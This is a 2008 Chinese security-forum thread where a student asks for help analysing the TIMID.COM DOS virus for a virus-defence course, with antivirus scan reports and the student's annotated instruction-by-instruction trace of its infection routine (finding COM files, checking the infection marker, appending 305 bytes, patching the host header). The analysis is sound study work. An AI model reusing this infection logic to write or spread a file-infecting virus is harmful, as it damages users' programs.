返回列表 发帖

[讨论]TIMID.COM病毒汇编分析

[讨论]TIMID.COM病毒汇编分析
信息来源:邪恶八进制信息安全团队(www.eviloctal.com
议题作者:姚智

朋友推荐的这个论坛,听说有很多汇编高手,今天也是第一次来,不知道有没有发对地方。(如有失误,还请多多包含)
我这学期选了一门课:《计算机病毒及防治原理》。期中有个实验要求我们对TIMID.COM病毒(能感染同目录下的COM文件)的感染机制进行详细分析。但是小弟我的汇编知识很浅漏,只能求助邪恶八进制的各位兄弟姐妹们,希望能给一点宝贵的意见。(附件里有病毒样本)小弟万分感谢……

一下是我在debug下,用反汇编指令查看到的一些代码:
-u
0B5A:0100 E90900        JMP     010C
0B5A:0103 56            PUSH    SI
0B5A:0104 49            DEC     CX
0B5A:0105 212A          AND     [BP+SI],BP
0B5A:0107 2E            CS:
0B5A:0108 43            INC     BX
0B5A:0109 4F            DEC     DI
0B5A:010A 4D            DEC     BP
0B5A:010B 00E8          ADD     AL,CH
0B5A:010D 0000          ADD     [BX+SI],AL
0B5A:010F 812EFCFF0900  SUB     WORD PTR [FFFC],0009
0B5A:0115 BA2AFF        MOV     DX,FF2A
0B5A:0118 B41A          MOV     AH,1A
0B5A:011A CD21          INT     21
0B5A:011C E83E00        CALL    015D
0B5A:011F 7510          JNZ     0131
附件
timid.zip (378 Bytes)
2008-4-6 13:07, 下载次数: 82
帖子4 精华0 积分4 阅读权限40 在线时间1 小时 注册时间2008-4-6 最后登录2008-7-15 查看详细资料引用 报告 回复 TOP 您知道您年薪应是多少?


赵子岩
惟一

晶莹剔透§烈日灼然

ACCESS DENIED
The requested URL could not be retrieved

--------------------------------------------------------------------------------

While trying to retrieve the URL: http://forum.eviloctal.com/attachment.php?aid=11499

The folowing error was encountered:

The requested object is INFECTED. The following viruses Virus.DOS.Timid.305.a were found

Please contact your service provider if you feel this is incorrect.



--------------------------------------------------------------------------------

Generated Sat Apr 12 11:16:34 2008 by Kaspersky Anti-Virus 7.0
帖子110 精华2 积分291 阅读权限40 在线时间62 小时 注册时间2006-10-22 最后登录2008-7-18 查看详细资料引用 报告 回复 TOP 良辰择日,预测咨询,公司改名,权威易经

赵子岩
惟一

晶莹剔透§烈日灼然

TOP

瑞星病毒查杀结果报告

清除病毒种类列表:

病毒: Timid.305.a              

MAC 地址:00:11:5B:F3:6D:69

用户来源:互联网

软件版本:20.39.51
帖子110 精华2 积分291 阅读权限40 在线时间62 小时 注册时间2006-10-22 最后登录2008-7-18 查看详细资料引用 报告 回复 TOP 您知道您年薪应是多少?

赵子岩
惟一

晶莹剔透§烈日灼然

TOP

Start of the scan: 2008年4月12日  17:41

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\桌面\timid.zip'
C:\Documents and Settings\Administrator\桌面\timid.zip
  [0] Archive type: ZIP
  --> TIMID.COM
      [DETECTION] Contains code of the Timid-B virus
      [INFO]      The file was deleted!


End of the scan: 2008年4月12日  17:41
Used time: 00:01 min






晕 人家意思是汇编看不懂..
帖子110 精华2 积分291 阅读权限40 在线时间62 小时 注册时间2006-10-22 最后登录2008-7-18 查看详细资料引用 报告 回复 TOP

落叶树
荣誉会员

TOP

没看懂楼主在讨论什么,让别人帮你分析这个病毒代码吗?BLOG: http://blog.csdn.net/hkbyest
帖子892 精华42 积分5686 阅读权限100 性别男 在线时间549 小时 注册时间2004-8-21 最后登录2008-7-17 查看详细资料引用 报告 回复 TOP 让女孩一夜变的更有女人味

姚智
晶莹剔透§烈日灼然

TOP

引用:
原帖由 落叶树 于 2008-4-13 00:49 发表
没看懂楼主在讨论什么,让别人帮你分析这个病毒代码吗?
是的……
帖子4 精华0 积分4 阅读权限40 在线时间1 小时 注册时间2008-4-6 最后登录2008-7-15 查看详细资料引用 报告 回复 TOP 良辰择日,预测咨询,公司改名,权威易经

人魔传说
晶莹剔透§烈日灼然

TOP

用HIPS抓取下  完了对照反汇编的意思找
帖子1 精华0 积分3 阅读权限40 在线时间0 小时 注册时间2007-6-29 最后登录2008-7-2 查看详细资料引用 报告 回复 TOP 让女孩一夜变的更有女人味

姚智
晶莹剔透§烈日灼然

TOP

现在搞定了,我把自己分析的贴出来吧
命令        指令        涉及内存值        注释        
P        JMP         010C                跳转到偏移地址为010C的地方执行        
T        CALL        010F                调用子程序        
P        SUB        WORD PTR [FFFC],0009        DS:FFFC=010F        将DS:FFFC内容改为0106        
P        MOV        DX,FF2A                设置DTA的偏移地址        
P        MOV        AH,1A                设置DTA(磁盘传输区)地址,DS:DX=传输区首址,DTA=DS:FF2A        
P        INT         21                        
T        CALL  015D                调用程序模块        
P        MOV        DX,[FFFC]        DS:FFFC=0106        定位病毒体的位置        
        MOV        CX,003F                设置隐藏和系统属性        
P        MOV        AH,4E                第一个匹配的文件,DS:DX=字符串地址,存放着匹配字符*.com,(CX=属性)(出口参数DTA中)
        
P        INT          21                        
P        OR        AL,AL                检查调用是否成功        
P        JNZ         0177                没有则以z=0退出        
T        CALL        0178                调用子程序,打开timid.com病毒程序        
P        MOV        DX,FF48                将字符串“TIMID.COM”存入DS:FF48        
P        MOV        AX,3D02                DS:DX=字符串地址(以0为字符串的结束标志),AL=02则以读/ 写方式打开文件timid.com,AX=文件号(句柄号)CF=0(NC)表示打开成功,否则,AX=错误号(02H、03H、04H、05H或0CH)        
P        INT         21                        
P        JB        01AB                JB的测试条件CF=1,即检测文件是否打开成功,打开文件失败则跳转到CS:01AB处执行        
P        MOV        BX,AX                BX=0005        
P        PUSH        BX                将BX压入堆栈        
P        MOV        CX,0005                        
P        MOV        DX,FF57                 设置缓冲区偏移地址        
P        MOV        AH,3F                读文件或设备,BX=文件号(句柄),CX=0005代表读出字节数,DS:DX=缓冲区首址(内容为:mov a),AX=实际读出的字节数        
P        INT        21                        
P        POP         BX                        
P        MOV        AH,3E                关闭文件,BX=文件号(句柄)        
P        INT        21                        
P        MOV        AX,[FF44]        DS:FF44=0137        将TIMID.COM的文件大小137H字节存入AX        
P        ADD        AX,0205                加上病毒码的长度,存入AX中        
P        JB        01AB                        
P        CMP        BYTE PTR [FF57],E9        DS:FF57=E9               
P        JNZ        01B0                 标志位为0时继续执行下面的比较,否则跳转        
P        CMP        WORD PTR [FF5A],4956        DS:FF5A=4956               
P        JNZ        01B0                标志位为0时继续执行下面的比较,否则跳转        
P        MOV        AL,01                不感染,清Z        
P        OR         AL,AL                清Z        
P        RET                将IP从堆栈弹出,跳转到016F执行        
P        JZ        0177                没有可感染的文件则跳转,此时CS:IP=RET        
P        MOV        AH,4F                查找下一个文件,入口和出口参数在DTA中        
P        INT        21                        
P        JMP        0168                        
P        OR        AL,AL                        
P        JNZ        0177                        
T        CALL        0178                        
P        MOV        DX,FF48                将字符串“TEST1.COM”存入DS:FF48        
P        MOV        AX,3D02                DS:DX=字符串地址,AL=02则以读/写方式打开文件test1.com,AX=文件号(句柄号)
        
P        INT         21                        
P        JB        01AB                        
P        MOV        BX,AX                        
P        PUSH        BX                        
P        MOV        CX,0005                设置读取字节数        
P        MOV        DX,FF57                设置缓冲区偏移地址        
P        MOV        AH,3F                读文件或设备,BX=文件号(句柄),CX=0005代表读出字节数,DS:DX=缓冲区首址(读出mov a),AX=实际读出的字节数        
P        INT         21                        
P        POP         BX                        
P        MOV        AH,3E                关闭文件,BX=文件号(句柄)        
P        INT         21                        
P        MOV        AX,[FF44]        DS:FF44=0015        test1.com的大小保存于AX中        
P        ADD        AX,0205                加上病毒码的长度,存入AX中        
P        JB        01AB                        
P        CMP        BYTE        PTR [FF57],E9        DS:FF57=6D         用test1.com的首字节6D和病毒感染标志E9比较        
P        JNZ        01B0                文件test1.com没有被感染,程序跳转到DS:01B0处执行        
P        XOR        AL,AL                        
P        RET                将IP从堆栈弹出,跳转到016F执行        
P        JZ        0177                        
P        RET                将IP从堆栈弹出,跳转到011F执行        
P        JNZ         0131                不跳转继续向下执行        
T        CALL          01B3                        
P        MOV        DX,FF48                存放文件名test1.com        
P        MOV        AX,3D02                DS:DX=字符串地址,读/写方式打开文件test1.com,AX=文件号 (句柄号)         
P        INT         21                        
P        MOV        [FF55],AX        DS:FF55=0000               
P        XOR        CX,CX                        
P        MOV        DX,CX                设置DX=CX=0        
P        MOV        BX,[FF55]        DS:FF55=0005        保存文件句柄        
P        MOV        AX,4202                改变文件读写指针,BX=文件号(句柄),DS:DX=位移量,AL=2表示绝对移动,DX:AX=新指针的位置        
P        INT        21                        
P        MOV        CX,0131                设置写入被感染文件字节的大小为305个字节        
P        MOV        DX,[FFFC]        DS:FFFC=0106         指定要写入的数据的地址        
P        MOV        BX,[FF55]        DS:FF55=0005        设置文件句柄        
P        MOV        AH,40                写文件或设备,BX=文件号(句柄),CX=写入字节数,DS:DX=缓冲区首址        
P        INT        21                执行完该指令后,文件末尾被写入305个字节        
P        XOR        CX,CX                        
P        MOV        DX,[FF44]        DS:FF44=0015         保存原始文件大小        
P        ADD        DX,0052                 (设置test1.com文件头5个字节在病毒添加的305个字节中的位置) 原始文件偏移量与长度相加,即:将文件的头5个字节移动到距离源test1.com文件末尾52H(82)后5个字节的地方        
P        MOV        BX,[FF55]        DS:FF55=0005               
P        MOV        AX,4200                 改变文件读写指针,BX=文件号(句柄),DS:DX=位移量,AL=0表示绝对移动,DX:AX=新指针的位置        
P        INT           21                        
P        MOV        CX,0005                设置写入字节数        
P        MOV        BX,[FF55]        DS:FF55=0005               
P        MOV        DX,FF57                        
P        MOV        AH,40                写文件或设备,BX=文件号(句柄),CX=0005(写入字节数), DS:DX=缓冲区首址        
P        INT        21                        
P        XOR        CX,CX                        
P        MOV        DX,CX                        
P        MOV        BX,[FF55]        DS:FF55=0005               
P        MOV        AX,4200                 改变文件读写指针,BX=文件号(句柄),DS:DX=位移量,AL=0表示绝对移动,DX:AX=新指针的位置        
P        INT         21                执行完该指令后,文件头部5个字节将被改变        
P        MOV        BX,[FFFC]        DS:FFFC=0106               
P        MOV        BYTE PTR [FF57],E9        DS:FF57=6D        设置test1.com文件的第一个字节        
P        MOV        AX,[FF44]        DS:FF44=0015        保存test1.com文件原始长度        
P        ADD        AX,0003                AX为test1.com文件的长度+0003        
P        MOV        [FF58],AX        DS:FF58=766F        将test1.com的第二、三个字节改为文件长度+0003        
P        MOV        WORD PTR [FF5A],4956        DS:FF5A=6120        将test1.com的第四、五个字节改为56H和49H        
P        MOV        CX,0005                 设置写入test1.com的字节数        
P        MOV        DX,FF57                        
P        MOV        BX,[FF55]        DS:FF55=0005               
P        MOV        AH,40                写文件或设备,BX=文件号(句柄),CX=0005(写入字节数), DS:DX=缓冲区首址        
P        INT            21                        
P        MOV        BX,[FF55]        DS:FF55=0005               
P        MOV        AH,3E                关闭文件,BX=文件号(句柄)        
P        INT         21                文件头被移动并被标记        
P        RET                        
P        MOV        DX,FF48                        
P        MOV        WORD PTR [FF55],0024        DS:FF55=0005               
P        MOV        AH,09                显示字符串,DS:DX=缓冲区首址        
P        INT         21                        
P        MOV        DX,0080                        
P        MOV        AH,1A                设置DTA(磁盘传输区)地址,DS:DX=传输区首址        
P        INT        21                对DTA的内容进行恢复        
P        MOV        BX,[FFFC]        DS:FFFC=0106        




将宿主文件的前五个字节写入ds:[100]-ds[104]        
P        MOV        AX,[BX+0052]        DS:0158=4CB4               
P        MOV        [0100],AX        DS:0100=09E9               
P        MOV        AX,[BX+0054]        DS:015A=00B0               
P        MOV        [0102],AX        DS:0102=5600               
P        MOV        AL,[BX+0056]        DS:015C=CD               
P        MOV        [0104],AL        DS:0104=49               
P        MOV        WORD PTR [FFFC],0100        DS:FFFC=0106               
P        RET                        
P        MOV        AH,4C                 终止当前程序并返回调用程序        
P        MOV        AL,00                AL=退出码        
P        INT         21
帖子4 精华0 积分4 阅读权限40 在线时间1 小时 注册时间2008-4-6 最后登录2008-7-15 查看详细资料引用 报告 回复 TOP

姚智
晶莹剔透§烈日灼然

TOP

返回列表